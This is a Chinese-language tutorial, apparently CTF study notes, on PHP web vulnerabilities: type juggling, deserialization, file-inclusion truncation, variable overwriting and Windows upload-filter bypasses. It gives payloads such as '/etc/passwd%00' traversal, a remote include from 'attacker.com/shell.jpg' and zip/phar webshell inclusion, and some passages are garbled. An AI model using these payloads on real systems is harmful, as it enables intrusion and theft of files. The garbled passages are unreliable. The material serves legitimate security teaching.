1. 弱类型
php语言中,一些相等的值:
' ' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == [ ' ' ]
NULL == false == 0
true == 1
在php中,比较两个值是否相等,可以用 “ == ” 或 “ === ” 。
“ == ” 在比较的时候,自动进行类型转换,不改变原来的值。
“ == ”一般就是出现漏洞的位置。
常见错误用法:
if($input == 1){
敏感逻辑操作;
}
if ($_GET[ ' a ' ] != $_GET[ ' b ' ] && md5($_GET [ ' a ' ]) == md5($_GET[ ' b '])){
echo $flag;
}
md5的返回值是一个32位的字符串,如果这个字符串以"0e"开头,类型转换机制就会将它识别为科学计数法表示的数字"0"。
同样在程序返回值中最容易判断错误的函数还有很多,比如strpos
if(strpos($str1,$str2) == false){//当str1中不包含str2的时候
敏感逻辑操作;
}
当str1在str2开头时,函数的返回值是0。而0 == false是成立的。
2. 反序列化漏洞
serialize将任意类型的数据转换成string类型
unserialize函数函数将string类型还原成任意类型
当unserialize函数的参数被用户控制的时候,就会形成反序列化漏洞。
再了解一下php中的类,php的类可能会包含一些特殊函数。
magic函数的命名方式是以"_"开头的
_construct//创建对象时调用
_destruct//php脚本结束调用
_toString//对象被当作字符串使用时调用
_sleep、_wakeup
这些函数在某些情况下,会被自动调用。
如果我们在反序列化的时候,加入一个类,并控制类中的变量值,结合具体的代码,就能执行magic函数里的危险逻辑了。
null字符截断比较有名。
原理:php内核是由C语言实现的,使用C语言中的一些字符串处理函数。在遇到NULL(\x00)字符的时候,处理函数就会将它当作结束标记,这个漏洞能够去掉变量结尾处不想要的字符。
<?php
$file = $_GET[ ' file ' ];
include $file.'.tpl.html';
按照正常的程序逻辑来说,这段代码并不能直接包含任意文件。但是可以通过NULL字符来提交:
?file = ../../../etc/passwd%00
即可读取到passwd文件,与之类似的是利用路径的长度绕过。
?file = ../../../{*N}/etc/passwd
系统在处理过长的路径时,会选择主动截断它。
不过,这两个漏洞,已经随着PHP版本的更新而消逝了。
另一个能造成截断的情况是:
不正确的使用iconv函数。
<?php
$file = $_GET[ ' file ' ].'.tpl.html';
include(iconv("UTF-8", "gb2312", $file));
在遇到file变量中包含非法utf-8字符时,iconv函数就会截断这个字符。
对于这种情况,只需要提交"?file = shell.jpg%ff"
(在utf-8字符集中,单个"\80-\xff"都是非法的)
不过这个漏洞只在windows系统中存在,在新版本的PHP中也已经得到修复。
当我们可以控制include指令参数的前半部分时,如果在php.ini的设置中让allow_url_include = 1,即允许远程包含的时候,我们可以令参数为:
?file = http://attacker.com/shell.jpg
这样php就可以从攻击者的服务器上取得shell.jpg并包含。
如果我们能上传自定义图片的话,可以将webshell改名为shell.php,然后
?file = zip://uploads/random.jpg%23shell.php
这样就可以包含到shell,与zip协议效果相同的,还有phar协议。
另外,还可以通过伪协议读取部分文件。如果服务器上有一个index.php,那么可以令参数为:
php://filter/convert.base64-encode/resource=index.php
然后就可以在页面中得到index.php文件源码base64后的字符串了。
1.函数使用不当。
extract()
<?php
$auth = false;
extract($_GET);
if ($auth){
echo "flag{...}";
}else{
echo "Access Denied.";
}
?>
extract函数将GET传入的数据转换为变量名和变量的值
使$auth的值为true并获得flag:
?auth = 1
parse_str()
<?php
$auth = false;
parse_str($_SERVER[ ' QUERY_STRING ' ]);
if ($auth) {
echo "flag{...}";
}else {
echo "Access Denied.";
}
?>
parse_str将GET传入的字符串解析为变量。
import_request_variables()
<?php
$auth = false;
import_request_variables('G');
//import_request_variables()的值由G、P、C组合而成
//G是GET,P是POST,C是Cookies
//前面的字符会覆盖排在后面的字符传入参数的值
//比如,参数为"GP",且GET和POST同时传入了auth参数,则POST传入的auth会被忽略
if ($auth) {
echo "flag{...}" ;
} else {
echo "Access Denied.";
}
?>
这个函数自PHP5.4就被移除了。只在version [4.1,5.4)的时候可用。
2.配置不当。
在php版本号小于5.4的时候,还存在配置问题导致的全局变量覆盖漏洞。
当PHP配置register_globals = ON时,就可能出现该漏洞。
<?php
if ($auth) {
echo "flag{...}";
} else {
echo "Access Denied.";
}
?>
利用register_globals的特性,用户传入参数auth = 1即可进入if语句块。
但如果在if语句前初始化$auth变量,则不会触发这个漏洞。
3.代码逻辑漏洞
$$可变变量
可变变量可以让一个普通变量的值作为这个可变变量的变量名。
<?php
$foo = " hello ";//赋值普通变量
$$foo = " world ";//使用foo变量的值作为可变变量的变量名
echo "$foo ${$foo};//输出hello world
echo "$foo $hello";//输出hello world
?>
PHP移除了import_request_variables()和register_globals()后,有些开发者使用foreach遍历数组( G E T 、 _GET、 GET、_POST)来注册变量,这样也会存在变量覆盖漏洞的情况。
<?php
$auth = false;
foreach($_GET as $key =>$value){
//foreach循环将GET传入的参数注册为变量
//传入?auth = 1 就可以绕过判断获得flag
$$key = $value;
}
if ($auth) {
echo "flag{...}";
} else {
echo "Access Denied.";
}
?>
主要有两个手段
<?php
printf('<b>open_basedir:%s</b><br />,ini_get('open_basedir'));
$file_list = array();
//normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->_toString();
}
//special files (starting with a dot(.)
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->_toString();
}
sort($file_list);
foreach($file_list as $f) {
each "{$f}
";
}
?>
为了防止PHP代码存在漏洞导致操作系统沦陷,会使用disable_function来禁掉一些危险函数,如system、exec、shell_exec、passthru等。
disable_function的绕过方式很灵活,依赖于系统层面的漏洞,比如利用shellshock、imagemagick等组件的漏洞进行绕过操作。或者依赖于系统环境,利用环境变量LD_PRELOAD等漏洞进行绕过操作。如果权限足够,还可以尝试使用PHP调用数据库UDF的方法来执行命令。
windows系统特性
1.短文件名
windows允许基于MS-DOS或16位windows的程序访问文件。
cmd下"dir /x"查看短文件名
2.文件上传
上传的时候如果以黑名单的形式限制后缀,那么我们可以利用文件系统的特性去绕过
<form action = "" method = "POST" enctype = "multipart/form-data">
<input type = "file" name = "file">
<input type = "submit" name = "submit" value = "submit">
</form>
<?php
error_reporting(1);
if (isset($_POST['submit'])) {
$name = $_FILES['file']['name'];
$tempfile = $_FILES['file']['temp_name'];
$savefile = "./upload/".$name;
if (isset(pathinfo($name)['extension']) && pathinfo($name)['extension']!='php'){
if(move_uploaded_file($tempfile,$savefile)){
die('Success upload path : '.$savefile);
}else{
die('Upload failed..');
}
}
}
?>
不能上传php后缀的文件
但如果我们上传时,追加高位字符[\x80-\xff],就可以绕过黑名单判断。
上传的文件后缀会失去[\x80-\xff]
与高位字符具有同样效果的还有":: d a t a " ,后者是利用 " : data",后者是利用": data",后者是利用":DATA Altername Data Stream"
windows下还有一个特殊符号是冒号,如果我们在上传的时候将后缀改为".php:.png"形式,那么在系统中最后得到的将是0字节的php后缀文件,起到了截断效果,但不能成功写入内容。